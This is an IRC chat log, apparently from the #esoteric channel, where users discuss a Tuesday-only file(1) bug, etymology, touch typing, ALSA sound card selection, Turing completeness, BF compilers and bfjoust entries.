23:49:01 <ehird> <AnMaster> oerjan: I just checked my full Oxford English Dictionary collection. Gullible is in there.
23:49:52 <ehird> <AnMaster> oerjan: So what do you mean?
23:49:52 <ais523> you know, some dictionary maker should actually remove "gullible"
23:50:07 <ais523> both to make the joke funnier, and because they wouldn't get in trouble because nobody would believe them
23:50:16 <ais523> well, nobody would believe it had happened
23:51:38 <ais523> heh, I was just looking at my updates
23:51:41 <ais523> one of them is fixing a bug in file
23:51:53 <ais523> apparently, it's confusing Erlang files with PostScript files created on Tuesdays
23:52:17 <pikhq> ais523: That's impressive.
23:52:31 <ehird> ais523: paste the diff?
23:53:15 <ais523> even better, here's the bug report: https://bugs.launchpad.net/ubuntu/+source/file/+bug/248619
23:53:52 <ais523> <Steve> This bug is causing printing using the brother cups drivers to fail on Tuesdays. I am attaching a sample PostScript file which file 4.21 misidentifies.
23:54:42 <pikhq> I especially love that it's Tuesday-only.
23:55:32 <ais523> just like a crash in NetHack that only happened during full moons
23:55:34 <ehird> ais523: compiled erlang file
23:55:43 <ehird> also, wasn't that in a rng?
23:55:46 <ehird> like that conditioned on full moons
23:55:52 <ais523> and it was in the code for prayer
23:55:59 <ais523> prayer's more successful by 1 during full moons in NetHack
23:56:11 <ehird> it's not impressive if you explicitly branch on it
23:56:12 <ais523> and it was overflowing a switch statement
23:58:40 -!- BeholdMyGlory has quit (Remote closed the connection).
23:59:31 -!- Corun has joined.
00:17:45 <ais523> https://bugs.launchpad.net/ubuntu/+source/cupsys/+bug/255161
00:17:58 <ais523> (it's funny reading that thread, seeing all the guesses people made as to what was going wrong)
00:19:38 <ehird> why does cups even use file(1)?
00:23:08 <ais523> and that is almost certainly the real WTF
00:25:03 <AnMaster> <ehird> <AnMaster> oerjan: I just checked my full Oxford English Dictionary collection. Gullible is in there. <-- from when is that
00:26:17 <AnMaster> ehird, I don't remember having said that. I might have. Would have been like at least half a year ago.
00:26:50 <oerjan> ehird: as for cups using file, it may be deciding how to print it
00:27:13 <ehird> AnMaster: *snigger*
00:27:32 <Asztal> GregorR: http://en.wiktionary.org/wiki/Category:English_adjectives perhaps
00:27:37 <AnMaster> ehird, I'm half asleep already. I understand jokes even less than usually now
00:27:46 <oerjan> converting plain text files to postscript, e.g.
00:27:48 <ehird> teehehehheheeeeeeeee
00:28:19 <AnMaster> <ais523> apparently, it's confusing Erlang files with PostScript files created on Tuesdays <-- uh... For file(1) or what?
00:28:47 <ehird> You are intractable.
00:28:50 <ais523> AnMaster: read a couple of lines up
00:28:51 <oerjan> AnMaster: he was merely explaining what you would have said if you had been present
00:29:26 <AnMaster> I have never seen an Erlang JAM file in fact
00:31:16 -!- psygnisfive has joined.
00:31:46 <AnMaster> Since ages Erlang uses the BEAM VM. JAM VM is very very very old
00:32:06 <oerjan> psygnisfive: no, no, it's hall-eluj-ah
00:38:14 <oerjan> AnMaster: go to bed, your brain is clearly not working :D
00:39:00 <AnMaster> oerjan, that isn't normal English (insert plain English joke here)
00:39:29 <oerjan> i couldn't find a way to make it normal english
00:39:41 <oerjan> it kept slipping, slipping... out of reach
00:40:06 * oerjan will not guarantee his brain is working either
00:40:10 <AnMaster> oerjan, tell me when you are sane instead.
00:40:26 <oerjan> AnMaster: ask me again in a couple years
00:40:35 <AnMaster> tell me when you are less insane and more parsable?
00:40:52 <oerjan> i parsable perfectly fines
00:41:45 <AnMaster> now my compiler no longer outputs most of the unused macros if they aren't used
00:42:12 <oerjan> but it does output the unused macros if they are used, i hope
00:42:33 <AnMaster> no, because then they are used macros being used
00:43:00 <AnMaster> oerjan, no no, that is another pass.
00:43:17 <ais523> haha: http://en.wiktionary.org/w/index.php?title=gullible&action=history
00:43:19 <AnMaster> it looks around shiftily while doing a gnome sort
00:43:21 * oerjan rotates around himself
00:43:22 <ais523> it's now on permanent semiprotection
00:43:43 <AnMaster> ais523, what is the controversy over that word?...
00:44:57 <ehird> ais523: don't tell him
00:44:58 <AnMaster> ais523, just lots of random spam?
00:45:00 <ehird> this is great continuous fun
00:45:03 <oerjan> AnMaster: it's a fake word that someone invented
00:45:10 <ehird> oerjan: i said DON'T TELL HIM
00:45:26 <oerjan> ehird: you are so mean sometimes
00:45:27 <AnMaster> oerjan, aren't all words originally
00:46:13 <oerjan> no, most words develop from older words through regular sound changes
00:46:43 <AnMaster> oerjan, somehow the first older sound must have got started somehow
00:46:57 <psygnisfive> a lot of words also have onomatopoeic qualities
00:47:01 <oerjan> well those were obviously onomatopo..
00:47:30 <AnMaster> and there are lots of invented words. Like lots of terms in computer context.
00:47:41 <AnMaster> some were based on previous terms used for other stuff yes
00:47:52 <oerjan> but that is only because the original onomatopoeia have been obscured through sound changes
00:47:53 <psygnisfive> most of modern english was invented by shakespeare as nonce words!
00:48:08 <AnMaster> oerjan, what about the word "house"
00:48:19 <AnMaster> I can't think of a way that could be onomatopoeic, nor it's base.
00:48:29 <oerjan> AnMaster: that's obviously a very old word
00:48:33 <AnMaster> yes it is clearly related to the Swedish "hus"
00:48:50 <AnMaster> probably similiar in other Germanic languages
00:48:58 <AnMaster> oerjan, sure. But somewhere it must have started
00:49:05 <AnMaster> I'm just asking about the trace
00:49:08 <oerjan> swedish and english probably were not distinct 1500 years ago
00:49:31 <AnMaster> oerjan, Swedish/Nordic and English did influence each other certainly
00:49:42 <oerjan> so not related to romance "casa" then?
00:49:59 <ehird> haus probably derives from a shape name;
00:50:04 <ehird> hut type shape... trapezoid
00:50:08 <pikhq> AnMaster: Try "common ancestor".
00:50:26 <AnMaster> pikhq, yes they do have that. But they also influenced each other after that
00:50:39 <pikhq> Oh, right. Old Norse influences.
00:50:46 <pikhq> Thus things like Beowulf.
00:50:52 <psygnisfive> old english and old norse were mutually intelligible.
00:51:03 <pikhq> psygnisfive: Knew that.
00:51:13 <AnMaster> pikhq, Vikings for example. And the other way too. These days we tend to copy English term instead
00:51:28 <oerjan> "the Late Latin word casa (cottage, small humble dwelling, hut)
00:51:32 <AnMaster> "tape" has turned into "tejp", and that is rather recent iirc.
00:51:37 <oerjan> seems it's also unknown...
00:51:40 <pikhq> After all, they had kinda split off not too long ago in the days of Old English...
00:52:42 <oerjan> AnMaster: tejp is a modern borrowing from english, surely
00:53:13 <AnMaster> Heck I'm going for ehird here: >_<
00:53:47 <AnMaster> btw about "gullible": http://www.etymonline.com/index.php?term=gullible
00:54:03 <oerjan> it's the rock/paper/scissors of annoying responses
00:55:23 <oerjan> i mean if you respond to me like ehird does to you...
00:55:56 <oerjan> psygnisfive: you should get those eyes checked by
00:56:41 <AnMaster> oerjan, next time I should try to say "dammit" before you too
00:57:02 <oerjan> AnMaster: ais523 suggested something like that *dammit*
00:57:38 <AnMaster> oerjan, you must not make me laugh out loud, people are sleeping in the next room.
00:57:52 <AnMaster> oerjan, and learn to type faster ;P
00:58:01 * ais523 catches everyone relevant in a butterfly net -----\XXXXX/
00:58:08 <oerjan> i seem to have fallen out of my touch typing
00:58:10 * ais523 puts them back down again out of sympathy
00:58:26 * oerjan bursts off his butterfly wings
00:58:30 <AnMaster> I notice I can touch type on irc
00:58:40 <AnMaster> where I have to type random keys
00:58:50 <AnMaster> I fail horribly at touch typing
00:58:54 <AnMaster> I have to look to see where the key is
00:59:24 <oerjan> i don't need to look at the keys but i no longer have optimal hand positions
00:59:57 <AnMaster> nescience, it is irritating if it is dark and you need to reach up to turn on the lamp to see where you want to go
01:00:00 <pikhq> Pretty normal, but not for programmers.
01:00:23 <nescience> one thing i learned about typing when i made the switch to dvorak is
01:00:23 <AnMaster> pikhq, well I can touch type C too
01:00:23 <nescience> there seem to be a few different "stages" of typing
01:00:23 <pikhq> ... That's just weird.
01:00:26 <nescience> the first was just having to look of course
01:00:31 <nescience> but after that it was a letter at a time
01:00:36 <nescience> i.e. i would think of the letter, recall where it was, and type it
01:00:47 <AnMaster> nescience, I passed that ages ago
01:01:09 <nescience> that would get me up to around 40wpm i think
01:01:15 <AnMaster> I touch type English, Swedish, C, Erlang, Bash and possible a few other langs
01:01:15 <nescience> but after that comes what i think of as "phrase at a time" typing
01:01:30 <nescience> where you aren't thinking of the individual letters
01:01:46 <nescience> and, especially if you know more than one keyboard layout, individual letter recall starts to get difficult
01:01:55 <AnMaster> nescience, I haven't looked at the keyboard for about 5 minutes or so I think. When I last used the mouse.
01:01:58 <nescience> i can type qwerty or dvorak at speeds up to 100wpm i guess
01:02:07 <nescience> but i can't stop and immediately recall individual keys
01:02:25 <nescience> i probably could when i only knew qwerty
01:02:41 <nescience> but my the letter recall is out of conscious thought now, i think
01:02:53 <nescience> so i can be in "dvorak mode" or "qwerty mode" and my fingers pretty much go where they need to without me directing them
01:03:06 <AnMaster> I moved my hands off the keyboard. And did some other stuff, I didn't look on keyboard again when I started typing just now
01:03:11 <AnMaster> even though I moved the chair too
01:03:35 <AnMaster> but then I probably know this keyboard shape very well. Having used it so much that there isn't a lot of text left on the keys any more
01:03:52 <AnMaster> Some of the less used ones still have faded letters on it
01:03:57 <nescience> environmental association plays a big role too
01:04:04 <nescience> i cannot for the life of me touch type qwerty on my home keyboard
01:04:12 <AnMaster> but especially s and e seems worn out.
01:04:35 <nescience> if i rearranged the keys into qwerty i could probably keep myself in qwerty mode by glancing at the keyboard to refresh myself
01:04:38 <AnMaster> nescience, I can't type at all on anything smaller than full size PC keyboard
01:04:42 <nescience> but i don't want to, because of the very thing you are talking about:
01:04:44 <AnMaster> I plan getting a split keyboard
01:04:53 <AnMaster> since that would reduce the size issue
01:05:12 <nescience> i'd probably use a split keyboard if i could get one that i could rearrange the keycaps on without them getting all lumpy
01:05:19 <nescience> and if they made one with the model m keyswitches
01:06:08 <AnMaster> nescience, well I'm large. In all possible meanings of large. Large hands. Tall (189.6 cm). Wide shoulders. I find full sized PC keyboard small.
01:07:09 <AnMaster> finding large enough mice is too.
01:19:09 -!- immibis has joined.
01:19:55 <immibis> Does anyone know of an email service where you can make sufficiently complex email filters to program with them?
01:21:18 <AnMaster> immibis, your own mail server?
01:21:37 <AnMaster> since sendmail's config is in m4 iirc I guess it could be done for sendmail at least
01:22:00 <AnMaster> but I guess you meant web mail or similiar
01:26:13 <AnMaster> kmix (KDE frontend for alsamixer) fails. It can't handle more than one sound card...
01:26:23 <AnMaster> something I'm actually trying to use now
01:27:28 <oerjan> maybe it doesn't work on minutes divisible by 13
01:27:57 <AnMaster> oerjan, maybe it doesn't handle if you just modprobed the kernel module for the other sound card :P
01:30:21 * AnMaster tries to figure out how to tell anything else which sound card to use...
01:30:23 <oerjan> immibis: is the name really Rub_y_ On Conveyor Belts?
01:31:01 <immibis> its a really, really, really to the power of a googalplex, bad pun...
01:31:15 <AnMaster> immibis, I know what Ruby on Rails i
01:31:27 <AnMaster> just no clue why oerjan is making a joke about that right now
01:31:52 <oerjan> AnMaster: the wiki page title says RubE but the text says RubY
01:32:23 <AnMaster> oerjan, Sure I know what RUBE is
01:32:29 <AnMaster> but not why it was mentioned right now
01:32:33 <oerjan> http://esoteric.voxelperfect.net/wiki/RubE_On_Conveyor_Belts
01:32:49 <oerjan> because immibis just edited it
01:33:18 <AnMaster> immibis, I would like a copy of the interpreter that runs on POSIX
01:33:19 <immibis> and technically i edited it 5-10 minutes ago
01:33:29 <immibis> because i made it for windows
01:33:38 <AnMaster> immibis, why did you write it in unportable C then :P
01:33:52 <immibis> it uses winapi to update the window with the current state of the program
01:33:58 <immibis> that's the only unportable thing i think
01:34:13 <AnMaster> immibis, is that split into a separate frontend module or such?
01:34:22 <AnMaster> so it would be easy to replace with some other C code
01:36:00 <immibis> oh and Sleep also from winapi
01:36:26 <AnMaster> couldn't you just replace that with nanosleep() or usleep() or similiar?
01:36:41 <immibis> but then i wouldn't be able to compile it because i'm on windows :P
01:37:12 <AnMaster> immibis, cygwin tends to be easier to get working than WINE IME.
01:37:57 <AnMaster> immibis, plus of course you can. Windows *does* implement POSIX. Assuming you install the right stuff
01:38:49 <immibis> http://filebin.ca/wfdjbs/myesolang.cpp
01:39:07 <immibis> i made it ages ago so sorry if it isn't very good code
01:39:35 <AnMaster> immibis, anyway how does this program differ from normal RUBE?
01:39:52 <AnMaster> I can't be arsed to compare instruction for instruction
01:41:15 <immibis> idk, apart from the symbols used. It was based on an online game called Rubicon (http://kevan.org/rubicon/)
01:42:33 <immibis> also it is turing complete because you can put any bf program in the "control program" (using o for output) and have the main program just copy its input (control program's output) to its output (final output)
01:42:39 <ais523> Rubicon was based on RUBE
01:42:43 <ais523> so I imagine they'd be similar
01:53:38 <immibis> How is the score returned by Egobot's !bfjoust calculated?
01:54:50 <AnMaster> it seems impossible to make ffplay use anything but the first sound card for output
02:03:54 -!- inurinternet has joined.
02:08:23 <fizzie> AnMaster: If it actually uses SDL for audio output (the man page just says "FFmpeg libraries and the SDL library") you should be able to use something like "SDL_AUDIODRIVER=alsa AUDIODEV=hw:1 ffplay ..." to make it use that alsa device.
02:11:08 <fizzie> At least here "AUDIODEF=iec958 ffplay ..." seems to make it use the digital output. And "AUDIODEV=blergh ffplay ..." => "ALSA lib pcm.c:2211:(snd_pcm_open_noupdate) Unknown PCM blergh". So something like that should work for card-select-o-trification.
02:13:43 <AnMaster> hm AUDIODEV=default:CARD=V8237 works
02:14:05 <AnMaster> (I'm trying to use the onboard one to be able to use the front panel audio connectors for some stuff
02:14:11 <pikhq> s/s/ſ/g s/ſ /s /g s/ſſ/ſs/g s/ſf/sf/g
02:14:30 <AnMaster> pikhq, good thing I still have that script loaded.
02:14:49 <pikhq> AnMaster: That seems like really dumb sed to you, doesn't it?
02:15:28 <AnMaster> pikhq, I know what happened though due to having it mark the lines as "[GT]" (meaning GregorR Tainted).
02:16:29 <EgoBot> sh sed 's/þ/th/g ; s/Þ/Th/g ; s/ſ/s/g ; s/æ/ae/g ; s/Æ/Ae/g ; s/œ/oe/g ; s/Œ/Oe/g'
02:18:11 <AnMaster> why would one sound card give less low freq sounds
02:18:48 <AnMaster> and these are high quality headphones.
02:21:27 <AnMaster> so this is pointless I have to use the hard to reach one at the back of the computer
02:26:04 <pikhq> One sound card, I assume, has a terrible DAC?
02:26:11 <pikhq> Or it has a bass/treble setting.
02:30:53 <AnMaster> fizzie, where is that SDL_* thing documented
02:31:04 <AnMaster> it worked. But I would like to know the source of that
02:31:15 <AnMaster> I haven't been able to find it in SDL docs
02:42:27 -!- immibis has quit ("http://www.mibbit.com ajax IRC Client").
02:43:25 -!- oerjan has quit ("Good night").
02:45:42 -!- immibis has joined.
02:52:23 <immibis> has anyone devised a reliable speed test for brainfuck interpreters?
03:15:51 <psygnisfive> well, the idea was for a esolang built to look vaguely like a genome.
03:16:08 <psygnisfive> i say vaguely because it doesnt look really all that much like a genome at all
03:18:32 <psygnisfive> the simplest version has a collection of "genes", essentially triples (ON, OFF, SIGNAL)
03:19:01 <psygnisfive> each ON, OFF, and SIGNAL is a set of numbers
03:19:22 <psygnisfive> there is also a global signal environment which is a set of numbers
03:19:53 <psygnisfive> a gene turns "on" when its ON set is a subset of the signal environment, at which point the gene's SIGNAL set is added to the signal environment
03:20:20 <psygnisfive> a gene turns "off" when its OFF set is a subset of the signal environment, at which point its signals are removed from the signal environment.
03:20:47 <psygnisfive> a signal is in the signal environment if any gene with that signal is on, and is not in the environment if no gene with that signal is on
03:23:04 <myndzi> the first program written should output "All your base are belong to us!"
03:23:35 <psygnisfive> well, we'll have to figure out how to do that :D
03:23:50 <psygnisfive> i also just realized what your username means.
03:24:24 <myndzi> most people go their entire irc lives without thinking about it
03:24:31 <myndzi> they just assume i'm a girl with a weirdly spelled name
03:24:35 <psygnisfive> yeah. i'd been saying it as if it were IPA
03:24:57 <myndzi> oh, i guess with all the language silliness in here, the statistical probability is higher
03:25:19 <myndzi> i've only met one guy who got it "immediately"
03:25:31 <myndzi> i was doing some business with him and had e-mailed him some file
03:25:42 <myndzi> first time i met him he was like hey, is your e-mail this?
03:26:06 <psygnisfive> yeah, he probably thinks that the way its spelled is phonetic, too!
03:26:28 <myndzi> a fun anecdote about people assuming my gender on irc:
03:26:39 <myndzi> dalnet had this lesbian channel that some people i knew were trying to troll
03:26:47 <myndzi> but failing because the ops were nazis
03:26:53 <pikhq> Funny, the only thing I assume on IRC is sentience.
03:27:01 <pikhq> Sometimes, that proves to be a bad assumption.
03:27:04 <myndzi> you'd get banned for having a nick that was too "girly"
03:27:13 <myndzi> or if they just didn't like the looks of you
03:27:27 <myndzi> i suggested i could probably pass under the radar with no effort involved
03:27:31 <myndzi> turns out i was right :P
03:27:43 <pikhq> Hmm. Now that I think of it. I just realised myndzi's name.
03:27:46 <myndzi> i chatted with em for like an hour then was like welp, sorry girls but i actually have a penis!
03:27:50 <pikhq> And then I see psygnisfive realise it, too.
03:28:17 <myndzi> their channel, their rules
03:28:28 <pikhq> myndzi: "Sorry, but I'm just a guy who sympathises with your desire for tits."
03:28:36 <myndzi> it's irc, i'm sure they got plenty of trolling and guys looking for cybersex or whatever
03:28:56 <myndzi> oh i should mention i didn't have to lie, it just went assumed
03:29:08 <myndzi> i might consider changing my nick if i hadn't been living in it for so many years :)
03:38:01 -!- psygnisfive has changed nick to mein_zei.
03:40:53 <mein_zei> im going to try and make this thing do something
03:40:56 -!- mein_zei has changed nick to psygnisfive.
03:42:03 <psygnisfive> i think this is a finite state machine, this language thingybob.
03:42:15 <myndzi> make it output "All your base are belong to us!" of course
03:43:22 <myndzi> make it into a programming game!
03:43:31 <myndzi> then you don't need i/o
04:00:04 <myndzi> or at least develop how to program with it :)
04:12:49 -!- Corun has quit ("Leaving...").
04:19:47 -!- Slereah_ has quit (Read error: 60 (Operation timed out)).
04:21:55 -!- Slereah has joined.
04:21:57 <psygnisfive> there are a finite number of genes in the genome, and thus a finite number of states the environment can be in
04:22:47 <psygnisfive> there would need to be some way of using the genome to affect the environment in some way other than just putting signals into it.
04:31:59 -!- Sgeo has joined.
04:32:00 -!- Sgeo_ has joined.
04:33:40 -!- Sgeo_ has quit (Client Quit).
04:36:06 -!- Slereah_ has joined.
04:47:05 -!- Slereah has quit (Read error: 110 (Connection timed out)).
05:15:30 -!- immibis has quit ("http://www.mibbit.com ajax IRC Client").
05:22:41 -!- olsner has joined.
05:38:31 -!- immibis has joined.
05:48:21 -!- Patashu has joined.
06:41:45 -!- Sgeo has quit ("Leaving").
07:33:06 -!- immibis has quit ("http://www.mibbit.com ajax IRC Client").
07:49:59 -!- ais523 has quit (Remote closed the connection).
07:58:05 -!- M0ny has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:03:01 -!- MigoMipo has joined.
08:17:59 -!- immibis has joined.
09:15:16 -!- Judofyr has quit (Remote closed the connection).
10:17:51 -!- immibis has quit ("http://www.mibbit.com ajax IRC Client").
10:23:53 -!- Slereah has joined.
10:36:48 -!- Slereah_ has quit (Read error: 110 (Connection timed out)).
10:40:51 -!- BeholdMyGlory has joined.
10:52:40 -!- KingOfKarlsruhe has joined.
11:12:16 -!- Slereah_ has joined.
11:13:22 -!- Slereah has quit (Read error: 60 (Operation timed out)).
11:20:52 -!- olsner has quit ("Leaving").
11:25:47 -!- Slereah has joined.
11:36:06 -!- Slereah_ has quit (Read error: 110 (Connection timed out)).
11:41:58 -!- Judofyr has joined.
12:37:52 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
12:42:51 -!- BeholdMyGlory has quit (Remote closed the connection).
13:05:38 -!- oerjan has joined.
13:06:12 -!- Corun has joined.
13:08:45 -!- Slereah has quit (Read error: 110 (Connection timed out)).
13:09:21 * oerjan realized what the punchline would be after the second panel
13:09:32 <AnMaster> oerjan, I did that too very early on
13:10:06 <AnMaster> about the second panel yes, though I had a pretty good idea already after the first panel what the topic would be!
13:12:12 <oerjan> heh the annotation implies dmm expected so
13:21:56 -!- SimonRC has joined.
13:22:10 -!- Slereah has joined.
13:28:34 <AnMaster> oerjan, this newton theme was introduced after the universe crashed right?
13:30:04 <oerjan> with some retroactive effect
13:30:35 <oerjan> (previous lewis carroll from the pirate theme was also included)
13:30:45 -!- Corun has quit ("Leaving...").
13:31:09 <AnMaster> not sure how he and Newton are related
13:32:22 <oerjan> the theme name is "Scientific Revolution"
13:32:44 <oerjan> it's a bit dubious connection
13:33:25 <AnMaster> http://www.google.com/search?q=Lewis%20Carroll&ie=UTF-8&oe=UTF-8 <-- holiday logo...
13:34:17 <FireFly> Apparently, Tetris was released today 25 years ago
13:34:24 <FireFly> AnMaster, I wonder that too
13:34:59 <AnMaster> Swedish google has another one
13:35:45 <AnMaster> since it is the national day (or whatever the English term is) today
13:37:10 <oerjan> <psygnisfive> there would need to be some way of using the genome to affect the environment in some way other than just putting signals into it.
13:37:25 <oerjan> oh i don't know - some kind of PROTEAN force, perhaps?
13:42:30 <FireFly> [14:34:45] <AnMaster> cache? <-- I tried clearing my cache
13:42:47 <FireFly> And I almost never visit the main page anyway
13:43:20 <AnMaster> FireFly, no I meant, server side caches
13:43:36 <AnMaster> it seems likely google use something like that
13:43:40 -!- Slereah_ has joined.
13:43:47 <AnMaster> probably not squid, but something they developed themselves.
13:45:48 -!- Slereah has quit (Read error: 110 (Connection timed out)).
13:48:47 -!- Slereah_ has quit (Read error: 104 (Connection reset by peer)).
13:58:59 -!- Corun has joined.
14:00:48 -!- Corun has quit (Client Quit).
14:00:59 -!- oerjan has quit ("leaving").
14:26:38 -!- Corun has joined.
14:32:59 -!- BeholdMyGlory has joined.
14:36:14 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 .").
14:56:03 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)").
15:10:34 -!- darthnuri has joined.
15:11:07 -!- asiekierk has joined.
15:12:37 <fungot> Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube*
15:12:44 -!- inurinternet has quit (Read error: 110 (Connection timed out)).
15:12:44 <fungot> asiekierk: this is gonna kick ass. man, you managed to take of hes shirt and jump up and sing skater boi, i could have been cancelled eventually anyway, i know
15:36:32 -!- darthnuri has quit (Read error: 110 (Connection timed out)).
15:53:21 -!- Spike_ has joined.
15:54:09 <Spike_> i have a question regarding some esoteric languajes
15:54:39 <Spike_> specifically those who are turing-complete
15:55:39 <Spike_> if an esoteric language is turing-complete, in theory, can it be used to write any program that a turing-equivalent language can do?
15:56:22 <Spike_> for example, again in theroy, can i write any program in brainfuck that could be written in c?
15:56:53 <AnMaster> Spike_, not exactly. C has file IO and such. Which are not parts of turing-completeness
15:57:16 <AnMaster> you don't need IO at all for Turing completeness in fact. But you could calculate anything you could do in C.
15:57:36 <AnMaster> just might not be able to, say, output it, or write it to a file, or send it over a tcp connection or whatever.
15:57:50 <Spike_> thank you, that is a question i have allways had
15:58:11 <AnMaster> consider underload for example
15:58:12 <Spike_> but maybe file io could be implemented in brainfuck...
15:58:31 <AnMaster> it has no input (it does have standard output though), yet it is TC
15:59:26 <AnMaster> however, I'm no expert at underload, you should ask either ais523 or oerjan if you want to know more about it. (Neither seems to be here atm).
15:59:38 <AnMaster> I guess a few other know it too.
16:00:40 <AnMaster> Spike_, as for file IO in bf, there are ways to add that. Basically they work by connecting the standard input/output from the BF program to some sort of daemon. Then the bf programs sends command to that daemon, which can then open file, output to the real console or whatever
16:00:53 <AnMaster> http://lifthrasiir.jottit.com/exe is one such
16:01:34 <AnMaster> Spike_, befunge98 could probably do most stuff C could
16:02:04 <AnMaster> (with lots of "fingerprints", which are somewhat like loadable extensions that interpreters can optionally implement)
16:02:17 <Spike_> the fact is that im writing a paper, and im studying turing tarpits
16:02:29 <AnMaster> ah. Befunge is *far* from a turing tarpit
16:03:22 <AnMaster> Spike_, oh and you might be interested in /// (http://esolangs.org/wiki/Slashes)
16:03:28 <Spike_> so i was thinking about asserting that with a turing-complete, turing-tarpit essoteric language you can virtually do whatever i could be done with a turing-equivalent language
16:03:38 <AnMaster> recently proven to be TC by oerjan
16:03:40 <Spike_> sorry, "it could be done"
16:04:20 <AnMaster> Spike_, in a TC language you can implement any other TC language. It might not be easy though.
16:04:34 <AnMaster> well, that is assuming you ignore IO
16:05:06 <AnMaster> Spike_, there is a C -> BF compiler. ais523 is working on it as a gcc backend. Generates very very large output files.
16:06:57 <AnMaster> Spike_, btw http://esoteric.voxelperfect.net/wiki/Turing-complete
16:09:18 <Spike_> very good link, thank you!
16:09:47 <AnMaster> btw http://esoteric.voxelperfect.net/ == http://esolangs.org/
16:10:33 <AnMaster> Spike_, of course you could implement a virtual filesystem inside a bf program. IIRC gcc-bf does that (or will do, it is work in progress...)
16:11:12 <Spike_> i find awesome how people can do so much with so few... :D
16:12:08 <AnMaster> I tend to prefer to write interpreters/compilers for esolangs. In fact I'm currently working on one of my compilers.
16:12:27 <Spike_> which language is it for?
16:12:32 <AnMaster> yes, optimising bf to C compiler
16:13:11 <Spike_> if i find some spare time, i think it would be nice to write some more apache mods to esoteric languages
16:13:18 <AnMaster> well, there are better ones. I think esotope-bfc is currently the bf->C compiler which produces the most optimised code...
16:13:53 <Spike_> http://modbf.sourceforge.net/
16:13:53 <AnMaster> though I think olsner (not here atm) proved mod_rewrite to be TC.
16:14:26 <Spike_> the future of web 2.0! XD
16:14:44 <AnMaster> http://olsner.se/2008/01/27/bfthue-in-mod_rewrite/
16:15:49 <AnMaster> Spike_, I have also written one of the fastest befunge98 interpreters. (Fastest I guess, until fizzie finishes that jit-compiler for befunge he was working on...)
16:16:11 <GregorR> Heh, I notice the bfjoust scoreboard no longer breaks 60.
16:17:05 <Spike_> i find befunge mind bugling ...
16:17:23 <GregorR> AnMaster: Not really, ever since I changed it to take percentages of wins over all possible runs, it took a long time for them to go over 60 again.
16:17:36 <GregorR> AnMaster: Bugling is playing the bugle :P
16:17:51 <Spike_> im from Madrid, Spain... :D
16:17:54 * GregorR is going to use the expression "mind bugling" from now on.
16:17:56 <AnMaster> GregorR, yeah I noticed aspell thought it existed, but even google define: couldn't find what it was.
16:18:29 <AnMaster> Spike_, and yes befunge might come as a shock the first time you see it.
16:18:47 <AnMaster> but it is actually quite a lot simpler to code in than for example brainf*ck
16:19:13 <GregorR> (Which is why BF is bettar lawl)
16:19:18 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
16:19:32 <AnMaster> Spike_, the bot fungot here is written in Befunge-98
16:19:32 <fungot> AnMaster: i love avril.
16:19:54 <GregorR> My bot may not be written in Befunge, but it supports more languages :P
16:19:55 <AnMaster> oh and it has that chat thing based on Markov chains thing
16:19:55 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
16:21:59 <AnMaster> GregorR, you could write an IRC bot in bf, but it would need to be hooked up to netcat or such.
16:22:11 <AnMaster> while for befunge98 you can do it in pure befunge98
16:22:30 <AnMaster> assuming the fingerprint SOCK is implemented in the interpreter you use
16:22:38 <GregorR> !bfjoust pooper_scooper >(+>->)*5-[>[+]>[-].+]
16:22:46 <EgoBot> Score for GregorR_pooper_scooper: 7.1
16:25:09 <GregorR> !bfjoust eggsplosion (++--)*10000
16:25:18 <EgoBot> Score for GregorR_eggsplosion: 4.1
16:26:50 <AnMaster> I thought it said -43 in the first line too
16:29:17 <pikhq> ... You've been moving the pointer around, and then do [] on it.
16:29:37 <AnMaster> pikhq, I do p[n] where n is the offset.
16:29:51 <pikhq> Got that. It makes me smile.
16:29:55 <AnMaster> pikhq, it is somewhere near the middle of lostking
16:30:07 <AnMaster> so I have no idea about the absolute position at that point
16:30:29 <pikhq> I suspect GCC doesn't like it too much, but GCC can shut up.
16:30:44 <AnMaster> pikhq, it didn't complain at -Wall -Wextra at least
16:30:51 <AnMaster> and as far as I know that is valid C?
16:32:02 <AnMaster> of course, program could move outside that, which would segfault
16:32:21 <AnMaster> however, I plan to add an option to set another tape size.
16:32:46 <AnMaster> (or you could just change the output file yourself)
16:40:11 <pikhq> No, I mean doesn't like optimising that much.
16:46:03 -!- tombom has joined.
16:49:45 -!- sebbu2 has joined.
16:50:55 <AnMaster> I do have a vague idea about the cause, but I can't seem to make a simple test case to reproduce it. Only shows up in the compiled output of that gcc-bf generated file...
16:51:24 <AnMaster> which takes about 5 minutes to compile
16:53:06 <AnMaster> as I suspected. Empty expression.
16:57:08 <asiekierk> I want to make an esolang that can be made as a drawing
16:58:04 <asiekierk> you can make it into a working drawing
16:59:23 <asiekierk> or an invented, pictogram-based language
17:01:19 <asiekierk> BF could be translated to one well
17:01:34 <asiekierk> [ and ] being sun-shaped halves, which are then combined to match
17:01:40 <asiekierk> , and . being an up and a down arrow
17:01:50 <asiekierk> + being a /\ triangle and - being a \/ triangle
17:02:40 <AnMaster> um. So parsing it would just be a matter of doing OCR and then interpreting the text
17:03:08 <AnMaster> asiekierk, I'm pretty sure unicode has all of those symbols
17:03:31 <AnMaster> asiekierk, fix your encoding then, Or font
17:03:40 <tetha> , and . should be more like a mouth-like symbol and an eye
17:03:59 <tetha> but I like the idea :)
17:04:02 <AnMaster> tetha, if unicode doesn't have them, then "Wingdings" probably does
17:04:41 <AnMaster> asiekierk, does ö work? (o with two dots)
17:04:45 <asiekierk> and . will be a mouth-resembling symbol
17:04:53 <AnMaster> asiekierk, then your font fails
17:04:54 <asiekierk> probably because I'm using Fixedsys
17:05:08 -!- sebbu has quit (Read error: 110 (Connection timed out)).
17:05:09 <AnMaster> asiekierk, try Dejavu for example.
17:05:23 -!- Corun has changed nick to Corun|away.
